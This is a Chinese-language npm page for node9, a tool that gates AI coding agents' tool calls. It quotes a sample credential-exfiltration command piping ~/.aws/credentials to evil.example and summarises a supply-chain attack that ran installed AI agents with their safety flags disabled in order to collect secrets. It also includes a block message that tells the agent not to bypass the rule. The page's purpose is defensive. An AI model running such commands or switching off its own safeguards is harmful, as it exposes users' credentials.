@node9/proxy

中文文档
2.47.1发布于 2026/11/02Apache-2.0TypeScriptESM + CJS构建来源已验证

AI代理的访问控制。设置Claude Code, Codex, Gemini, Cursor和任何MCP服务器允许执行的操作,在运行之前检查风险操作,并记录每个操作。

中文使用文档
文档目录12 节
  1. 它是什么样子的
  2. 安装
  3. 用作MCP服务器
  4. 这个问题
  5. node9对此做了什么
  6. 自己验证一下
  7. 它所管理的
  8. 学习
  9. 比较
  10. 相关项目
  11. 企业
  12. 许可证

🛡️node9

AI代理的访问控制

你的人工智能代理可以访问Slack、GitHub、电子邮件和你的数据库。
Node9决定如何处理每个节点。

npm version monthly downloads License: Apache 2.0 Documentation OpenSSF Best Practices OpenSSF Scorecard node9 self-scanned Mentioned in Awesome Claude Code

凭据监狱 · 机密和个人身份信息 · 破坏性的git, SQL和shell保留以供审查 · MCP工具钉钉 · 网络出口允许列表 · 回路断路器 · 一条记录跨12个代理

适用于 Claude Code·Codex CLI·Antigravity (agy)·GitHub Copilot CLI·Gemini CLI·Cursor·Windsurf·VSCode·Claude Desktop·Opencode·Pi·Hermes Agent·任何MCP服务器.

它是什么样子的

安装了node9的真实Claude Code会话。检查每个工具调用 在它运行之前。构建页面和编辑按钮运行。对云的请求 元数据地址被阻塞,代理得到原因并继续。 删除文件等待您的批准,就在聊天中。

node9 in a Claude Code session: two calls allowed, one blocked, one held for approval

安装

brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform

然后,在任何项目中:

node9            # first run: choose dashboard connection or local protection
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard

要求Node.js 22+。

在一个新的交互式终端上, node9 指导您完成设置。地方重点保护 无需解释。清单显示推荐护盾,DLP/PII,可选 网络出口审核,后台服务。发送使用统计信息 只有当您接受单独的提示时。摘要列出了已配置的代理 以及任何需要注意的设置步骤。

运行 node9 setup 要重新访问设置,或 node9 setup <target> 配置一个代理。 配置完成后,裸机 node9 显示帮助。 node9 init 仍然是可用的;为 脚本使用 node9 init --recommended (没有问题,也没有遥测选项)。 --skip-setup 单独留下代理布线和服务安装。显式的 --mode 优先于检查表的标准模式推荐。 除非选择更改或显式标记请求,否则保留现有设置 一个更新。工作区策略在仪表板中进行管理;服务设置保持本地。

login 对执法没有任何帮助。 它把机器和工作空间连接起来 团队可以在每个人的笔记本电脑和CI上看到一个记录,集中设置策略, 并通过仪表板或Slack批准持有的操作。跳过它,node9可以正常工作 同样的,独自一人,离线。 node9 logout 再次断开与本地执法的连接 保持运行。

用作MCP服务器

node9还作为MCP服务器运行,因此代理可以读取其状态、状态和审计 记录和政策,并解释任何决定,从对话内部;

claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server

任何MCP客户端都以相同的方式工作:命令为 npx -y node9-ai mcp-server 在工作室,没有API密钥。它在官方MCP注册表中被列为 io.github.node9-ai/node9.

这个问题

2025年8月,泄露的 nx 构建工具 提供了一个安装后版本 脚本寻找已经安装在开发人员的机器上的AI编码代理,然后运行 他们关掉了自己的安全标志(--dangerously-skip-permissions, --yolo, --trust-all-tools)枚举SSH密钥、云凭证和钱包文件并编写列表 到磁盘。该脚本将结果推送到受害者自己的GitHub中的公共存储库中 账户。超过一千个有效的GitHub令牌泄露,还有云凭证,npm 令牌和大约2万份文件,这些文件来自代理正在执行任务的机器 告知。

这名特工不是袭击者。代理人是工具,没有什么能阻挡它和工具 文件。Node9的gate不是这些标志之一:它在钩子中运行,并且它持有的操作保持不变 即使在跳过权限启动代理时也保持。

node9对此做了什么

Node9位于代理和它调用的每个工具之间。证书监狱(~/.ssh, ~/.aws, .env 默认情况下,文件(私钥)是打开的,并且不会运行对其中一个路径的读取。 代理人被阻止,被告知原因,然后你来做决定:

NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.

该命令作为shell AST进行解析,而不是作为文本进行匹配,因此对读取的内容进行包装没有帮助。 echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example 被判定为阅读 的 ~/.aws/credentials,而不是 echo.

Node9是 门. 持有的操作在等待您时不会运行,如果您不回答 它仍然是阻塞的。其他的都可以写入记录。

它不能做什么: 在关闭出口控制(缺省情况下)的情况下,将发送一个 文件直接传到网络,如 curl -d @~/.aws/credentials,不被视为读过的 该文件。 node9 egress protect 盖茨目的地也一样,它只涵盖shell命令。

自己验证一下

下面不需要帐户或上传代码。 scan-repo 发送匿名使用计数 (没有存储库名称,没有代码);集 NODE9_NO_TELEMETRY=1 关掉它。

npx node9-ai scan                                        # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo      # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed

node9 scan scorecard

它所管理的

每一行都是一个功能,带有记录它的页面。医生是 参考;这个文件就是地图。

凭据监狱~/.ssh, ~/.aws, .env 私钥被每个工具屏蔽,而不仅仅是shell文档
不间断的规则破坏性的git, SQL没有 WHERE, curl | bash 和未经授权的 sudo,不配置文档
机密和个人身份信息AWS密钥,GitHub和Stripe令牌,PEM密钥和卡片或SSN形状,在任何工具参数中,加上代理回写的后台扫描文档
每个服务盾牌为Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub和文件系统策划规则包文档
内联审查持有的操作在代理对话中或通过团队审批者询问您文档
出口allowlistshell命令可以发送数据的门,默认情况下关闭文档
MCP网关包装任何MCP服务器,授权每个工具,并锁定工具定义,以便服务器无法在您背后更改它们文档
沙盒在具有内核出口允许列表和限定挂载的容器中运行代理文档
姿势得分使用修复每个发现的命令,这台机器的暴露程度如何文档
回购扫描找到一个局外人可以在CI或CLI中劫持持有您秘密的代理的工作流程文档
会话历史阅读在安装node9之前,这台机器上的每个代理已经做了什么文档
实时监控和报告一个终端仪表板,以及成本、工具、区块和爆破半径的窗口汇总文档
技能将在会话之间安装的Claude技能和插件的SHA-256验证文档
金丝雀凭证放了假钥匙,证明有人企图逃跑文档
Python SDK管理任何Python代理,而不仅仅是cli文档

完整的CLI和配置参考: node9.ai /文档. 图层是如何组合在一起的: 它是如何工作的.

学习

背景读书,要靠自己写。每页都说明node9没有涵盖的内容。

比较

  • node9-pythonPython SDK
  • node9代理安全: GitHub动作; uses: node9-ai/node9-proxy@v2使用相同的引擎对每个PR进行闸门(它发送相同的匿名使用计数; telemetry: false (关闭)

企业

node9职业 增加了治理锁定、SAML/SSO、集中审计导出和VPC部署。看到 node9.ai.

许可证

apache - 2.0

建立在☕和健康的偏执之上。

版本与发布记录

@node9/proxy 共发布 270 个版本,首次发布于 2026/03/03;过去 12 个月发布了 270 个版本。最新版本附带 npm provenance 构建来源证明,可追溯到公开的 CI 构建记录。

版本发布日期距今
2.47.1latest2026/11/021 天前
2.47.02026/11/021 天前
2.46.12026/11/011 天前
2.45.02026/11/012 天前
2.44.02026/11/012 天前
2.43.12026/11/012 天前

关于 @node9/proxy 的常见问题

@node9/proxy 是什么?

AI代理的访问控制。设置Claude Code, Codex, Gemini, Cursor和任何MCP服务器允许执行的操作,在运行之前检查风险操作,并记录每个操作。

如何安装 @node9/proxy?

在项目目录运行 npm install @node9/proxy,或使用 pnpm add / yarn add / bun add。它还提供命令行工具 node9,可以用 npx node9 直接运行。

@node9/proxy 支持 TypeScript 吗?

支持。包内自带 TypeScript 类型声明(package.json 声明了 types 入口),安装后即可获得类型提示,无需再安装 @types 包。

@node9/proxy 支持 ESM 还是 CommonJS?

同时提供 ES Module 与 CommonJS 入口,import 和 require() 都可以使用,打包工具会自动选择合适的版本。

@node9/proxy 需要什么版本的 Node.js?

package.json 的 engines 字段要求 Node.js >=22。版本不符时 npm 默认只给出警告,开启 engine-strict 后会拒绝安装。

@node9/proxy 可以商用吗?

@node9/proxy 使用 Apache-2.0 许可。宽松许可:允许商业使用、修改和再分发,并附带明确的专利授权;分发时需保留许可与 NOTICE 文件,修改过的文件要注明改动。以上为概括,不构成法律意见,请以许可原文为准。

@node9/proxy 还在维护吗?

最新版本 2.47.1 发布于 2026/11/02(1 天前);至今共发布 270 个版本,其中过去 12 个月发布了 270 个;首次发布于 2026/03/03。发布频率只是参考信号:功能稳定的工具可能很少需要更新,建议结合源码仓库的 issue 和提交记录判断。